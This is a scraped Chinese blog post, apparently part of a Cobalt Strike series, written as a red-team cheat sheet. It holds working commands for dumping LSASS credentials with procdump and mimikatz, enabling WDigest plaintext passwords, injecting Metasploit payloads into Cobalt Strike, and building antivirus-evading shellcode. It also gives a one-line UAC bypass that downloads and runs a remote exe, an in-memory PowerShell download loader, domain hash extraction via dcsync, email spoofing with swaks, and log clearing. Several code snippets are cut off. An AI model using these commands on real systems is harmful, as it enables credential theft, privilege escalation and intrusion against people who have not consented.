https://www.c0bra.xyz/2019/12/03/Cobalt-Strike%E7%B3%BB%E5%88%978/
横向
转发
1 | goproxy https://snail007.github.io/goproxy/ |
socks nmap1
nmap -sT xxx -p 445,3389
mysql 相关
1 | #查询用户 |
window相关
1 | #关闭defender,需要管理员权限 |
procdump
利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中1
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz1
2
3
4privilege::debug #权限提升
token::elevate
lsadump::sam
sekurlsa::logonpasswords #抓取密码
procdump+mimikatz
需要administrator权限,需要关闭杀软,第一步需要admin权限,第二步读取本地的lsass不需要admin权限1
2.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exitwin10 or win2012r2以上版本内存无明文密码,需要注册表开启(需要admin权限,运行完后需要注销重新登录)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell相关
1 | #现在文件 |
msf相关
1 | route #查路由 |
msf派生shell给cs1
2
3
4
5
6
7
8background #挂起shell到后台
sessions -l #查看shell
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http #同cs选的监听方式
set lhost cs的ip地址
set lport cs的监听端口
set session 1
set DisablePloadHandler true;
vpn password get
1 | 1.星号查看器 |
免杀shellcode
https://github.com/clinicallyinane/shellcode_launcher/
msf生成.c文件
流量走https,防止被监听/察觉出异常
python msf bypass
1 | 注意!python要在3.4以下,先安装py2exe |
golang1
2
3
4
go build -ldflags "-w -s"
msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lhost 0.0.0.0;set lport 3232;exploit"
AVIator
使用cs配合AVIator生成免杀文件
使用方法查看github usage
转换c#,代码比较糙1
2
3
4
5import re
f=open('payload.cs','r').read()
result=re.findall(r'{(.*)}',f)[0].replace(' ','')
for i in range(0,len(result),80):
print(result[i:i+80])
微步 0/24
virustotal 17/68
比作者6个月前的检出率高很多了。。。
ps1
1 | set-executionpolicy remotesigned #若使用出现报错先开启权限,需要管理员权限 |
uac bypass
一键反弹shell1
powershell -Windowstyle Hidden Start-BitsTransfer -Priority foreground -Source 'https://github.com/IVorder/f_list/raw/master/calc.exe' -Destination "C:\Windows\Temp\prox.exe";New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force;New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force;Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\Temp\prox.exe" -Force;Start-Process "C:\Windows\System32\ComputerDefaults.exe"
1 | New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force |
清除Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
添加user
gcc adduser.c -l netapi32 -o adduser64.exe
https://github.com/jas502n/adduser
提权(powershell)
1 | echo ^$d = New-Object System.Net.WebClient >> c:\KRECYCLE\1.ps1 |
加载远程的exe到内存中执行,从而绕过杀软
1 | IEX (New-Object Net.WebClient).DownloadString('https:// |
powershell目录:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
域渗透
影响范围:windows server
权限:
域管理员可登陆域下任意主机
域权限能够读取本地文件
入侵主机后 查看 net group/domain
工具:
cain
mimikatz
chromepass
提权漏洞:
cve-2019-10040
获取域管后1
2C:\Windows\NTDS\NTDS.dit #获取到域所以用户的密码
lsadump::dcsync /domain:pentestlab.local /all /csv #mimikatz
红蓝总结
redteam细节
代理池
秒拨技术
钓鱼
伪造邮箱nslookup -type=txt 163.com
查看目标邮件防护措施swaks --data aaa.eml--h-from "=?gb18030?B?x+XLrg==?=<admin@qq.com>" --from bbb@vul.com --to 11@qq.com --server mail.vul.com -au user -ap pass
c2隐藏
https://github.com/jas502n/RedTeam-BCS
https://evilwing.me/2019/04/14/redteam-gong-ji-ji-qiao-he-an-quan-fang-yu/
漏洞库
Exploits & Shellcodes: https://github.com/offensive-security/exploitdb
Binary Exploits: https://github.com/offensive-security/exploitdb-bin-sploits
Papers: https://github.com/offensive-security/exploitdb-papers
日志清扫
工具
文件伪造
md5 伪造
支持伪造:
- jpg
- png
- mp4
- pe
- jp2
使用方法:如图所示(其余script类同)
关于pdf生成:
pocs/pdf/
中提供图片(jpg/png)/文字转换pdf- 或者使用word打印转换pdf
[!] pdf.py
需要先安装mutool工具
1 | apt-get install mupdf-tools |
应急响应
安全检查脚本:https://github.com/T0xst/linux
总结
cnvd共享库
[+]漏洞挖掘
- 框架
- 中间件
- 协议
- 加密算法
- 语言
函数细节:
- 安全面
– 小众函数 导致的绕过
– 编码类型 导致的绕过
– 解析调用 导致的绕过
– 特性+正常函数组合调用
[+]利用链思路
- 漏洞扩大
– 多漏洞组合
-蜜罐
– 读取信息?
– rce?
– 污染攻击脚本(源端),通过攻击脚本传播恶意文件